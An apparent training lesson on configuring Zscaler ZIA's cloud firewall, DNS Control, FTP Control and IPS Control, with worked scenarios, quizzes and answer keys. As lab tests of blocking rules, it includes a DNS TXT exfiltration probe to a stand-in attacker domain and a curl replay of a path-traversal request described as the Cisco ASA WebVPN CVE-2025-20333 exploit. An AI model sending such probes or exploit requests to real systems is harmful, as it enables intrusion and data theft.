DNS runs first — why still need a firewall rule for DNS?

Two separate engines, run in sequence. DNS Control resolves the lookup at the Service Edge first, but that same session still has to traverse the Firewall Filtering engine afterwards. If no firewall rule permits Network Services = DNS, the firewall silently drops the packet even though DNS Control already classified it. The resolver decides where the query goes; the firewall decides whether the session is allowed at all. Rule of thumb: every DNS Control policy you write should be paired with a matching DNS allow rule in Firewall Filtering, or your clean lookups never leave the building.

We only have Basic Cloud Firewall — what can I use?

With Basic Cloud Firewall you get stateful L3/L4 Firewall Filtering only — match on the 5-tuple (source IP, source port, dest IP, dest port, protocol). That is one of the four. The other three — DNS Control, FTP Control, and IPS Control — plus custom and tunnel features need Advanced Cloud Firewall (ZS-CTP-1 / ZIA-FIREWALL). So on Basic, three of the four tabs are effectively locked. If you need DNS tunnel detection or IPS, that's the upgrade conversation to have.

IPS Control defaults to ALLOW — isn’t that risky?

Yes, and it surprises almost everyone. People expect an implicit deny at the bottom like a normal firewall. IPS Control instead ships a permissive default ALLOW rule, so traffic passes inspection and is permitted until you add explicit Block rules. Until you write rules with action IPS Reset per Advanced Threat Category, you have visibility but no enforcement. The fix is simple: add your Block rules early, ideally on day one, so the default allow only ever applies to traffic you have consciously decided is fine.

Native FTP works in office but fails on Client Connector — why?

Two stacked defaults are biting you. First, native FTP is permitted only from known locations, so a roaming Client Connector user falls outside that. Second, Client Connector supports only FTP over HTTP, and that is blocked by default. So the office path works, the remote path doesn't. The fix: enable ftp_over_http_enabled and scope it to your approved URL categories. Remember URL Filtering still takes precedence over FTP Control, so if URL Filtering blocks the category, FTP never gets a turn.

How big is DNS-based exfil, really?

Bigger than most people guess. Zscaler ThreatLabz (Oct 2025) found DNS abuse made up 83.8% of non-web protocol threats — it is the dominant covert channel, not an edge case. DNS Control ships predefined Known DNS Tunnels and Unknown DNS Traffic rules that inspect UDP, TCP, and DoH. But there's a catch: you must also block native DoH on port 443. If you only write port-53 rules, an attacker just runs DoH over 443 and walks straight past them.

My firewall blocks bad ports — why do I need IPS?

Because the firewall only decides which doors are open — not what walks through them. IPS Control inspects the traffic you legitimately allow and catches exploits hiding inside it: a malformed request inside permitted HTTPS, FTP, or DNS. Example: Cisco ASA WebVPN CVE-2025-20333 (CVSS 9.9) rides an allowed port — port-blocking never sees the malicious payload. Signature IPS reads the content, matches the exploit signature, and resets the session. Open-port logic alone is blind to the payload; that blind spot is exactly what IPS exists to cover.

Zscaler ZIA Firewall Deep-Dive: Cloud Firewall, DNS, FTP & IPS Control

Most engineers think…

“Zscaler's Cloud Firewall only protects web traffic on ports 80 and 443 — for everything else I still need my old on-prem firewall.”

Wrong on both counts. ZIA Cloud Firewall is a stateful next-gen FWaaS that inspects all 65,535 ports and every protocol, not just web. And the four controls are separate engines that fire in a fixed order — DNS Control resolves the name first, Firewall Filtering matches the 5-tuple, then FTP Control and IPS Control deep-inspect what was already allowed. Treating it as “just a web filter” is exactly how an unconfigured FTP Control tab becomes an unmonitored exfil lane and DNS tunnels walk out on port 53.

Four words to know before the four controls

Read these first. Each card flips to the one thing that actually matters in production.

🧱

FWaaS (Cloud Firewall)

tap to flip

A cloud-delivered stateful firewall inspecting every port and protocol per user and location. So what: no appliance to patch, and policy follows the user.

🔢

First match wins

tap to flip

Rules run top-down in ascending order; the first match decides and stops evaluation. So what: rule ORDER changes the outcome, not just the rules themselves.

🧭

ZTR (Zscaler Trusted Resolver)

tap to flip

A trusted DNS resolver reached via Ghost IPs over tunnels. So what: it stops rogue 8.8.8.8 or 1.1.1.1 lookups, but it won't terminate DoH on its own.

🛡

IPS for non-Web

tap to flip

Signature IPS on firewall-allowed non-web traffic. So what: it catches exploits the web proxy never sees, but only inside traffic you already allow.

Figure 1 — Where the four controls live

Look here: DNS, Firewall Filtering, FTP and IPS Control are four boxes inside one amber cloud policy panel — no separate on-prem firewall exists.

1 · Cloud Firewall (Firewall Filtering) — The Gate Guard

Picture the gate guard at a busy airport who reads your boarding slip line by line and decides, on the very first matching rule, whether you board or get turned away — that is exactly how Zscaler's Cloud Firewall reads each session.

The Cloud Firewall lives at Policy → Firewall Control → Firewall Filtering, sitting beside its siblings DNS Control, FTP Control, IPS Control and NAT Control. Unlike a plain web proxy that only watches ports 80 and 443, this guard checks all 65,535 ports and every protocol that leaves your branch.

You build the guard's rulebook by clicking Add Firewall Filtering Rule. Each rule can match on Users (up to 4), Groups (up to 8), Departments, Locations (up to 8), Location Groups (up to 32) and Time (up to 2 windows). On the destination side you set Destination Addresses (real IPs and FQDNs), Destination IP Groups, Destination Countries, plus Network Services and Network Applications.

Leave a field blank and the guard reads it as "Any" — it stops checking that column entirely. So a rule with only a Network Service of DNS and an Action of Block will block DNS for everyone, everywhere, because the User and Location fields are silently ignored.

The Action decides the verdict: ALLOW lets the session board, BLOCK_DROP drops it silently, BLOCK_RESET drops it and sends a TCP RST so the app fails fast, and BLOCK_ICMP returns an ICMP unreachable. Full per-session logging kicks in only on Block rules.

L2 · Order matters more than wording. The guard reads top-down and stops at the first match, so your admin rules belong at Rule Order 1. The undeletable "Default Firewall Filtering Rule" sits at the lowest precedence and blocks everything that fell through — and you should leave the first ~4 predefined rules (Recommended Firewall Rule, Zscaler Proxy Traffic, Office 365/UCaaS One Click) untouched.

L3 · Basic versus Advanced Cloud Firewall (ZS-CTP-1 / ZIA-FIREWALL) is a real evaluation-time fork, not a price tier. Advanced unlocks FQDN and wildcard rules, custom IPS signatures, DNS-tunnel detection and a ceiling above 1,000 rules — so an FQDN-based rule that silently never matches on a Basic tenant is a licensing symptom, not a config bug.

One trap catches almost every new admin: the firewall must be switched on per Location or Sub-location at Administration → Location Management → Enable Firewall. If that box is unchecked, your beautifully ordered rules never evaluate — the guard is standing there with the rulebook closed.

🖥️ The screen you'll use — Policy → Firewall Control → Firewall Filtering → Add Firewall Filtering Rule. Recreated for clarity — your console matches this.

admin.zscaler.net · Firewall Control

3Rule Order

Rule Name

Block-Branch-DNS-Exfil

Status

Enabled

Users

Any

Source IP Groups

Pune-Branch-10.50.12.0/24

Destination Addresses (FQDN)

*.dnstunnel.example.net

2Network Services

DNS

Time

Any

1Action

Block Drop ▾ (Allow / Block Drop / Block Reset / Block ICMP)

Save

Pins mark the three fields that change the outcome: ① Action = Block Drop (silent), ② Network Services = DNS (the protocol scoped), ③ Rule Order = 1 (so it wins before any lower allow rule).

test — probe a port behind a Block Reset rule from a client at the location

curl -v http://10.50.12.20

Expected output

*   Trying 10.50.12.20:80...
* connect to 10.50.12.20 port 80 failed: Connection reset by peer
* Failed to connect to 10.50.12.20 port 80 after 12 ms: Connection reset by peer
curl: (7) Failed to connect to 10.50.12.20 port 80 after 12 ms: Connection reset by peer

A Block Reset gives you that instant "Connection reset by peer"; a Block Drop would just hang until curl times out. Cross-check the verdict at Analytics → Firewall Insights → Logs — the matching session should show action = Block.

Sneha at Infosys faces this

She built a clean set of firewall rules for the new Pune branch, but Firewall Insights shows zero hits on every rule — even though users there browse the web normally.

Likely cause

The firewall engine is never invoked for the Pune sub-location because Enable Firewall was left unchecked when the location was created. Web browsing still works because that rides the proxy path, not the firewall path.

Diagnosis

Open the Pune location's settings and look for the Enable Firewall toggle in its control options.

Administration → Location Management → Pune → Enable Firewall

Fix

Tick Enable Firewall on the Pune sub-location and save. Activate the change so it pushes to the cloud.

Verify

Generate traffic from a Pune client, then watch the rule's hit-counter climb in Analytics → Firewall Insights → Logs. Non-zero hits confirm the engine is now evaluating.

Pause & Predict

A BLOCK rule sits at Rule Order 2 and an ALLOW rule at Rule Order 5, and both match the same session — which one wins? Type your guess.

Answer: Rule Order 2 wins. The guard reads top-down and acts on the first match, so the Block fires and processing stops — the Order 5 Allow is never even reached.

Quick check · Apply

Sneha's new branch firewall rules log zero hits although users browse normally. The most likely fix is:

a) Reorder the rules so the most important one moves to Rule Order 1b) Delete and recreate the Default Firewall Filtering Rulec) Tick Enable Firewall on that Location/Sub-locationd) Upgrade the tenant to Advanced Cloud Firewall

Correct: C. Zero hits across all rules while browsing still works means the firewall engine is never invoked — that only happens when Enable Firewall is unchecked for the location. Reordering (a) is tempting but rules that never evaluate cannot be fixed by ordering them; order only matters once the engine actually runs.

▶ How the firewall reads your rules, one row at a time

A laptop in Noida opens Google. Watch the rule table get scanned top-down until one row matches. Press Play for the healthy path, then Break it to see the failure.

① Packet arrivesSneha's laptop sends a packet. The firewall reads its 5-tuple: source 10.20.5.40, destination 142.250.183.14, service HTTPS (TCP 443).

▼

② Check Rule 1The firewall tests Rule 1 first. It only allows the Finance subnet, not Sneha's range. No match, so it drops to the next row. You see this in Administration > Firewall Control.

▼

③ Check Rule 2Rule 2 says: Source IP Group "All-Staff" plus Network Service "HTTPS". Sneha's IP sits in that group and the service fits. This row matches.

▼

④ Action: ALLOWThe firewall runs Rule 2's action, ALLOW, and stops scanning. Lower rules never run. Google loads for Sneha.

Press Play to step through the healthy path. Then press Break it.

Here is the figure.

Figure 2 — The packet's path: DNS → NAT → Firewall → FTP → IPS

What to look for: the green Allow path is the only way into the FTP and IPS desks — the lime gate proves IPS sees only what the firewall already passed.

2 · DNS Control — The Directory Desk

Before a traveller ever reaches a security gate, they stop at the enquiry desk and ask "which gate is Frankfurt?" — DNS Control is that desk for every connection, mapping a name to a number before the journey starts.

Every device on your network asks "what's the IP for portal.bank.com?" thousands of times a day. ZIA sits in the middle of that conversation as a DNS proxy at the Public Service Edge. It inspects every query no matter how it travels — plain UDP, TCP, or encrypted DoH.

You build this at Policy → Firewall Control → DNS Control. Three building blocks live there: DNS Control Rules (the decisions), DNS Gateways (where you forward queries), and EDNS Client Subnet (ECS) Prefixes (how much of the user's subnet — a /20 to /24 slice — gets shared so answers stay geographically close). Rules read top-down and first match wins, so order matters as much as content.

A rule matches on real criteria: Users/Groups/Departments, Locations, Requested Domain or Resolved IP categories, DNS record types (A, AAAA, TXT…), source and destination countries, protocols (UDP/TCP/DoH), and DNS Tunnels & Network Applications. When it fires, you pick an action: Allow, Block, Redirect Request & Keep Sender Protocol, Redirect Request Using TCP/UDP, or Redirect Response — the last one rewrites the answer itself, so www.bing.com quietly becomes strict.bing.com to force SafeSearch.

Two predefined tunnel rules do heavy lifting. Known DNS Tunnels blocks recognised malicious tunnelling services — malware that smuggles data out inside TXT lookups. Unknown DNS Traffic catches malformed packets, DNS on non-standard ports, or non-DNS traffic pretending to be DNS. Real DNS rides port 53 (UDP/TCP); DoH rides port 443.

L3 · By default Zscaler redirects DNS to the ZTR using a NAT Control rule. Ghost IPs resolve port-53 traffic to the ZTR — but only over an established tunnel (GRE, IPSec, or Z-Tunnel 2.0). One sharp limit to remember in design: the ZTR does not terminate DoH tunnels. A user who phones a private DoH number on 443 skips the desk entirely unless you block that endpoint and SSL-inspect the 443 traffic.

🖥️ The screen you'll use — Policy → Firewall Control → DNS Control → Add DNS Control Rule. Recreated for clarity — your console matches this.

admin.zscaler.net · DNS Control

Rule Order

Rule Name

Block-DNS-Tunnels

Requested Domain Categories

Any

DNS Record Types

A, AAAA, TXT

Protocols (UDP/TCP/DoH)

UDP, TCP

3 DNS Tunnels & Network Applications

Known DNS Tunnels

1 Action

Redirect Request & Keep Sender Protocol

2 DNS Gateway

Zscaler DNS Gateway

Save

Pins mark the three fields that decide behaviour: ① Action (what happens on match), ② DNS Gateway (where the query is forwarded), ③ DNS Tunnels (the malicious-tunnel trigger that fires this rule).

probe — fire a TXT tunnel query through the tunnel resolver

dig TXT exfil.attacker-tunnel.example @172.16.0.2

Expected output

;; ->>HEADER<<- opcode: QUERY, status: REFUSED, id: 41207
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION:
;exfil.attacker-tunnel.example.  IN  TXT
;; no answer — flagged "Known DNS Tunnel" in DNS Insights logs

verify — a clean name still resolves via the Trusted Resolver

nslookup google.com

Expected output

Server:   ztr.zscaler.net
Address:  185.46.212.88

Non-authoritative answer:
Name:     google.com
Address:  142.250.183.110

Rahul at TCS faces this

After he adds a blanket "redirect all DNS to ZTR" rule, internal logins break across the LAN — file shares, the domain controller, and every .local app stop resolving, while public sites still load.

Likely cause

The redirect rule has no scope limit, so private internal zones like corp.local are being forwarded to the public Zscaler resolver — which has never heard of them and returns nothing.

Diagnosis

He opens the redirect rule and reads its match scope — it says "Any" requested domain, so it swallows internal queries that should stay on the local DC.

Policy → Firewall Control → DNS Control → (redirect rule) → scope

Fix

He excludes internal AD zones from the redirect — adds .local, .test, and corp.local to a higher-priority Allow rule so they keep resolving on the on-prem domain controller.

Verify

nslookup dc01.corp.local resolves to the internal DC again, while nslookup google.com still answers from the ZTR — both paths now correct.

Pause & Predict

A user sets the browser to Cloudflare DoH on 443. Will your plain port-53 DNS Control rules catch those queries? Type your guess.

Answer: No — DoH rides 443, so it's invisible to port-53 rules. The query never touches the desk. To stop it you must block the native DoH endpoints and turn on SSL inspection for that 443 traffic.

Quick check · Analyze

A user switches the browser to Cloudflare DNS-over-HTTPS (1.1.1.1) on 443. Your existing port-53 DNS Control rules will:

a) miss those queries — DoH is encrypted DNS on 443b) block them automatically as tunnel trafficc) redirect them to the Zscaler Trusted Resolverd) log them as Known DNS Tunnels

Correct: a. DoH wraps DNS inside HTTPS on port 443, so a rule scoped to port-53 traffic never sees it. Option c is the tempting trap — the ZTR only handles port-53 queries over your tunnel and does not terminate DoH, so it can't redirect 443 traffic it never receives.

▶ Stopping data from sneaking out through DNS

Malware on Rahul's machine tries to smuggle stolen files inside DNS tunneling. Watch DNS Control catch it at the edge. Press Play for the healthy path, then Break it to see the failure.

① Malware crafts a queryThe malware encodes stolen invoice data into a TXT lookup for a long random hostname under an attacker domain. It looks like an ordinary name request.

▼

② Hits the Service EdgeThe query reaches the ZIA DNS proxy at the nearest Service Edge. Every DNS request from Rahul routes through here first.

▼

③ Rule matchesThe predefined "Known DNS Tunnels" rule inspects the request. Its pattern matches this tunnel's signature. You manage this in Policy > DNS Control.

▼

④ Action: BlockZIA drops the query before it leaves the building and writes a log entry. The stolen data never reaches the attacker.

Press Play to step through the healthy path. Then press Break it.

3 · FTP Control — The Cargo Desk

Picture the airport: passengers walk through the passenger gate, but parcels and cargo go to a separate desk with its own rules. FTP Control is that cargo desk — and by default it keeps the shutter half-down, accepting only certain pickups while quietly turning others away.

You manage this desk under Policy → Firewall Control → FTP Control. The service handles two kinds of file transfer. FTP over HTTP is what a browser or proxy uses. Native FTP is what a desktop client like FileZilla speaks directly.

Here is the gotcha that catches most teams. Out of the box the service blocks FTP over HTTP and allows only native FTP — and native FTP works only from known Locations, not from Client Connector users. Since Client Connector and PAC can carry only FTP over HTTP, their file transfers fail silently until you turn that toggle on.

You control the desk with four levers: Enable FTP over HTTP (ftp_over_http_enabled), Enable Native FTP (ftp_enabled), URL Categories allowed for FTP, and a specific URLs list. Native FTP is also switched on per-location, so a branch can transfer while a roaming laptop cannot.

Now the wiring. The control channel rides port 21, active-mode data uses port 20, and passive data uses the high range 1024–65535. Zscaler accepts passive mode only (including FTPS over TLS). Native clients point at the Zscaler FTP proxy, for example gateway.zscaler.net on port 21, logging in as USER <login>@<destination-host>. Think of passive as the customer walking up to the front of the desk to collect — pickup at the counter, every time.

Why active mode dies: in active FTP the server opens a fresh connection back to the client on port 20. Through the cloud proxy and its NAT, that inbound connection has nowhere to land — like a courier trying to slip in the back door of a sealed terminal. So you must set passive mode on the client; active transfers will stall and then get blocked.

L3 · Precedence is the architect's trap here. URL Filtering policy is evaluated before FTP Control, so a category you blocked in URL Filtering — say Adult Material — stays blocked over FTP no matter what you allow at the cargo desk. Treat FTP Control as a narrowing gate on top of URL Filtering, never as an override. When you scope FTP Control, also confirm the destination's category is permitted in Policy → URL & Cloud App Control → URL Filtering first.

🖥️ The screen you'll use — Policy → Firewall Control → FTP Control. Recreated for clarity — your console matches this.

admin.zscaler.net · FTP Control

1 Enable FTP over HTTP

2 Enable Native FTP

3 URL Categories (allowed for FTP)

Approved-FTP-Sites

URLs

ftp.example.com

FTP mode

Passive only (FTPS supported)

Note

Native FTP also enabled per Location

Save

Pins mark the three settings that fix roaming users: ① turns on FTP over HTTP, ② keeps native FTP available for offices, ③ scopes both to an approved URL category.

test — passive FTP through the Zscaler proxy from a known location

lftp -e 'set ftp:passive-mode on; ls; quit' -u 'testuser@ftp.example.com,***' gateway.zscaler.net

Expected output

Connecting to gateway.zscaler.net (165.225.x.x) port 21
230 Login successful (proxied to ftp.example.com)
drwxr-xr-x   2 ftp ftp   4096 Jun 04 09:12 pub
-rw-r--r--   1 ftp ftp  20480 Jun 04 09:12 readme.txt
# now retry with 'set ftp:passive-mode off' (active):
425 Connection blocked by Zscaler — active-mode data channel not permitted

Aditya at HCL faces this

Remote employees on Client Connector say FileZilla "just hangs" when they try native FTP, but staff sitting in the office transfer files without any trouble.

Likely cause

Client Connector can carry only FTP over HTTP, which is blocked by default. Native FTP is allowed only from known office Locations, so roaming laptops have no working path and the session stalls.

Diagnosis

Open the FTP Control policy and confirm that Enable FTP over HTTP is still OFF while only native FTP is on — that gap explains why office (location-based) works but roaming does not.

Policy → Firewall Control → FTP Control → Enable FTP over HTTP

Fix

Turn on Enable FTP over HTTP and scope it to your approved URL Categories (for example Approved-FTP-Sites), so Client Connector users get a permitted path without opening every site.

Verify

Have a Client Connector user fetch a test file from an approved FTP site over HTTP; the transfer completes and the session shows up as allowed in the firewall logs.

Pause & Predict

URL Filtering blocks the "Adult Material" category. You then explicitly ALLOW that same destination in FTP Control. Does the FTP transfer go through? Type your guess.

Answer: No — URL Filtering is evaluated before FTP Control, so it takes precedence. The category stays blocked over FTP even though you allowed it at the cargo desk.

Quick check · Apply

Roaming Client Connector users' native FileZilla FTP hangs while office users transfer fine. The fix is to:

a) Enable active-mode FTP so the server can connect back to the laptopb) Open port 20 on the corporate firewall for the data channelc) Add the roaming users to a known Locationd) Enable FTP over HTTP and scope it to approved URL categories

Correct: d. Client Connector carries only FTP over HTTP, which is off by default — enabling and scoping it gives roaming users a working path. Option (a) fails because Zscaler accepts passive mode only; active connect-back can never traverse the cloud proxy's NAT.

4 · IPS Control — The X-Ray Scanner

Remember the lobby guard from earlier sections? He decided who walks through the door. The X-ray machine sits just past him — it scans the bags of people the guard already waved in, and pulls anyone whose bag matches a known-weapon shape.

IPS Control is that X-ray for your network traffic. You reach it at Policy → Firewall Control → IPS Control. It runs a signature-based engine over every non-web protocol — HTTP, HTTPS, FTP, DNS, raw TCP, UDP, IP. Think of it as "IPS for non-Web".

The key word is already allowed. IPS only inspects packets the firewall let through. If your Firewall Filtering rule dropped a session, it never reaches the X-ray — exactly like a passenger turned away at the gate never walks past the scanner. On a signature match, IPS drops or resets the connection and writes the event to your Firewall Log.

Do not confuse this with ATP. ATP is "IPS for Web" — it lives at the proxy layer (Policy → Threat Protection → Advanced Threat Protection) and sends web threats to the Web Log. IPS Control works at the firewall/packet layer for non-web threats. When both apply, ATP runs first, then IPS Control.

The pipeline order is strict: Firewall Filtering allows the session, then IPS Control inspects it against signatures, then it blocks on a match. So a packet that Firewall Filtering blocks is invisible to IPS — there is no second chance to catch an exploit on a session you already dropped. You build defence in layers, not in parallel.

L3 · IPS Control needs the Cloud Firewall Advanced subscription. Without it, the menu is greyed out and custom rules are unavailable — you get the default Allow behaviour and nothing to tune. Zscaler ships 2,000+ new signatures a year, pushed transparently several times a day, so the engine stays current without any change on your side. Your only job is writing the rules that decide what to do on a match.

Here is the trap that bites people. The default IPS Control rule is Allow, and it sits at the bottom of the list. Until you add an explicit rule, a matched threat is detected but waved through. The engine sees the signature — it just does not stop it.

When you click Add IPS Control Rule, you set a few fields. Leave Advanced Threat Categories blank and it means Any. The Destination IP Groups field defaults to All IPv6 Group, and custom destination IPv6 groups are not supported. The Action is where the work happens: choose Block, then pick IPS Drop (silent — the packet just vanishes) or IPS Reset (sends a TCP reset, so the client sees the connection die cleanly).

🖥️ The screen you'll use — Policy → Firewall Control → IPS Control → Add IPS Control Rule. Recreated for clarity — your console matches this.

admin.zscaler.net · IPS Control

3 Rule Order / Rank

Rule Name

Block-ASA-WebVPN-Exploits

Status

Enabled

2 Advanced Threat Categories

Remote Code Execution

Network Services

Any

Source IP Groups

Any

Destination IP Groups

All IPv6 Group

Locations

Any

1 Action

Block → IPS Reset

Save

Pins mark the three fields that decide whether this rule actually stops an attack: ① Action set to Block → IPS Reset (not Allow), ② a named Advanced Threat Category instead of blank/Any, and ③ Rule Order 1 so it evaluates above the permissive default.

Replay — send a CVE-matching request to a firewall-allowed HTTPS host

curl -sk -X POST 'https://vpn-lab.internal.corp/+CSCOE+/logon.html' \
  --data 'next_url=/%2bCSCOE%2b/../session_password.html' \
  --resolve vpn-lab.internal.corp:443:172.16.40.12 \
  -o /dev/null -w 'HTTP %{http_code} in %{time_total}s\n'

Expected output

curl: (56) Recv failure: Connection reset by peer
# With the IPS Reset rule active, the TCP session is torn down mid-request.
# Firewall Log → new entry:
#   Action: Blocked (IPS Reset)  Threat: CVE-2025-20333 ASA WebVPN RCE
#   Dest: 172.16.40.12:443  Category: Remote Code Execution
# (With only the default Allow rule, this returns: HTTP 200 in 0.42s)

Priya at Wipro faces this

A Cisco ASA WebVPN exploit (CVE-2025-20333, disclosed 25 Sep 2025) hits an allowed HTTPS path on her VPN appliance. The Firewall Log shows the session was allowed — but nothing is flagged as a threat, even though the payload is a known exploit.

Likely cause

IPS Control is sitting at its permissive default: only the Allow rule exists, with no explicit Block. The signature engine sees the request but has no rule telling it to stop the matched threat, so it waves the session through.

Diagnosis

Open the IPS Control policy and confirm the rule list. If the only entry is the bottom default Allow rule, nothing is being blocked — detection without action.

Policy → Firewall Control → IPS Control

Fix

Add an explicit IPS Control rule at Rule Order 1 with Action = Block → IPS Reset, scoped to the relevant Advanced Threat Categories (Remote Code Execution), so the matched exploit is reset instead of allowed.

Verify

Replay the malformed WebVPN request. It now appears in the Firewall Log as an IPS-blocked, non-web threat entry, and the client connection is reset instead of completing.

Pause & Predict

A Firewall Filtering Block rule drops traffic to a host at Rule Order 2. Will IPS Control still scan THAT traffic for exploits? Type your guess.

Answer: No — IPS only inspects firewall-ALLOWED traffic. A session blocked by Firewall Filtering is dropped before it ever reaches the X-ray, so there is nothing left for IPS to scan.

Quick check · Analyze

A Firewall Filtering rule blocks all traffic to a malicious host at Rule Order 2. Will IPS Control inspect that host's traffic for exploit signatures?

a) Yes — IPS runs before the firewall, so it scans firstb) Yes — IPS sees all packets regardless of firewall decisionsc) No — IPS only inspects traffic the firewall already allowedd) Only if ATP is disabled on that traffic

Correct: c. IPS Control sits after Firewall Filtering in the pipeline, so it only ever sees sessions the firewall already allowed. Option (a) is the tempting trap — it reverses the real order; the firewall decides first, and a dropped session is gone before IPS can scan it.

▶ Catching an exploit hidden inside allowed traffic

The firewall already said yes to this HTTPS session. Now IPS Control looks deeper and spots an attack. Press Play for the healthy path, then Break it to see the failure.

① Firewall allows the sessionFirewall Filtering checks Priya's HTTPS connection to 172.16.40.8 and allows it. The session is open and traffic starts flowing.

▼

② IPS inspects the packetsEven though the firewall said allow, IPS Control reads inside the allowed packets. It checks the payload against its signature set.

▼

③ Signature matchesOne packet matches the Cisco ASA WebVPN CVE-2025-20333 exploit signature. IPS now treats this flow as an active attack.

▼

④ Action: IPS ResetIPS sends a TCP RST to kill the session and writes a Firewall Log entry. The exploit never completes.

Press Play to step through the healthy path. Then press Break it.

Figure 3 — The four controls compared

Look at the DEFAULT column: the firewall denies everything (red) while IPS permits everything (amber) — opposite defaults, the classic exam trap.

Figure 4 — Firewall section cheat-sheet

What to look for: the 5 tiles in order — but the lime card (3 gotchas) is what flips an interview from "read the docs" to "ran it in prod."

🤖 Ask the AI Tutor

Tap any question — instant, scoped to this lesson. No login, no waiting.

Pre-curated from Zscaler docs + community Q&A, scoped to this lesson. For a live prod issue, paste your export into chat.techclick.in.

🧠 In your own words

Type one line: In one line, why does IPS Control only inspect traffic the firewall already allowed? Then compare to the expert version.

Expert version: Because IPS sits after Firewall Filtering in the pipeline — the firewall first decides which sessions are permitted, and IPS then inspects only those permitted sessions for exploit signatures, since blocked traffic has already been dropped and has no payload left to scan.

🗣 Teach a friend

Best way to lock it in — explain it in one line to a teammate. Tap to generate a paste-ready summary.

📩 Quiz me on this in 7 days. Opt in and we'll email 3 micro-questions on Firewall Controls at Day 1, Day 7 and Day 30 — spaced repetition is how this sticks. Un-tick any time.

📖 Glossary

Firewall Filtering: Stateful L3/L4 engine that allows or blocks sessions by matching the 5-tuple (source/dest IP, source/dest port, protocol).
DNS Control: Inspects and controls DNS lookups at the Service Edge, including tunnel detection and resolver redirection, before the firewall sees the session.
FTP Control: Governs file-transfer sessions — native FTP from known locations and FTP-over-HTTP for Client Connector — under URL Filtering precedence.
IPS Control: Signature intrusion prevention on firewall-allowed non-web traffic; ships a default ALLOW, so you add explicit IPS Reset blocks yourself.
NAT Control: Translates and redirects destination IP/port for allowed sessions, letting you forward or pin traffic to a chosen address.
Advanced Cloud Firewall (ZS-CTP-1 / ZIA-FIREWALL): The paid tier that unlocks DNS Control, FTP Control, IPS Control, and tunnel/custom features beyond Basic's L3/L4 filtering.
ZTR / Ghost IP: Zscaler Trusted Resolver — a trusted DNS resolver reached over tunnels via internal "Ghost IPs" so clients can't hit rogue public resolvers.
DoH (DNS over HTTPS): DNS queries wrapped inside HTTPS on port 443, which hides them from port-53 rules unless you explicitly block native DoH.
ECS (EDNS Client Subnet): An EDNS extension that passes part of the client's subnet to the resolver so answers are geolocated to the real user, not the resolver.
Default rule: The catch-all bottom rule — for Firewall Filtering it is Block all, but for IPS Control it is Allow, which is the opposite of what most expect.

📚 Sources

Zscaler Help — About Firewall Control. help.zscaler.com/zia/about-firewall-control
Zscaler Help — Configuring the Firewall Filtering Policy. help.zscaler.com/zia/configuring-firewall-filtering-policy
Zscaler Help — About DNS Control. help.zscaler.com/zia/about-dns-control
Zscaler Help — Configuring the IPS Control Policy. help.zscaler.com/zia/configuring-ips-control-policy
Zscaler Help — About FTP Control. help.zscaler.com/zia/about-ftp-control
Zscaler — ZIA Policy Leading Practices Guide (evaluation order). help.zscaler.com/zscaler-deployments-operations/zia-policy-leading-practices-guide
Zscaler ThreatLabz (Oct 2025) — How Non-Web Protocols Are Redefining the Attack Surface (DNS abuse 83.8%). zscaler.com/blogs/security-research
NVD — CVE-2025-20333 (Cisco ASA/FTD WebVPN, CVSS 9.9). nvd.nist.gov/vuln/detail/cve-2025-20333
Zscaler — Digital Transformation Administrator (ZDTA) blueprint. zscaler.com/resources/brochures

What's next?

Next up: Zscaler ZIA NAT Control — how to translate and pin allowed sessions to a destination of your choosing. You'll see why NAT runs only on traffic the firewall already permitted, and where it slots into the same first-match pipeline.

Next · Browse all ZIA lessons → Practice on exam.techclick.in →

Zscaler ZIA Firewall Deep-Dive — Cloud Firewall, DNS, FTP & IPS Control

🎯 By the end you will be able to

Pick where you want to start

Gate Guard

Directory Desk

Cargo Desk

X-Ray Scanner

Four words to know before the four controls

1 · Cloud Firewall (Firewall Filtering) — The Gate Guard

▶ How the firewall reads your rules, one row at a time

2 · DNS Control — The Directory Desk

▶ Stopping data from sneaking out through DNS

3 · FTP Control — The Cargo Desk

4 · IPS Control — The X-Ray Scanner

▶ Catching an exploit hidden inside allowed traffic

🤖 Ask the AI Tutor

📝 Wrap-up assessment — six more

🧠 In your own words

🗣 Teach a friend

📖 Glossary

📚 Sources

What's next?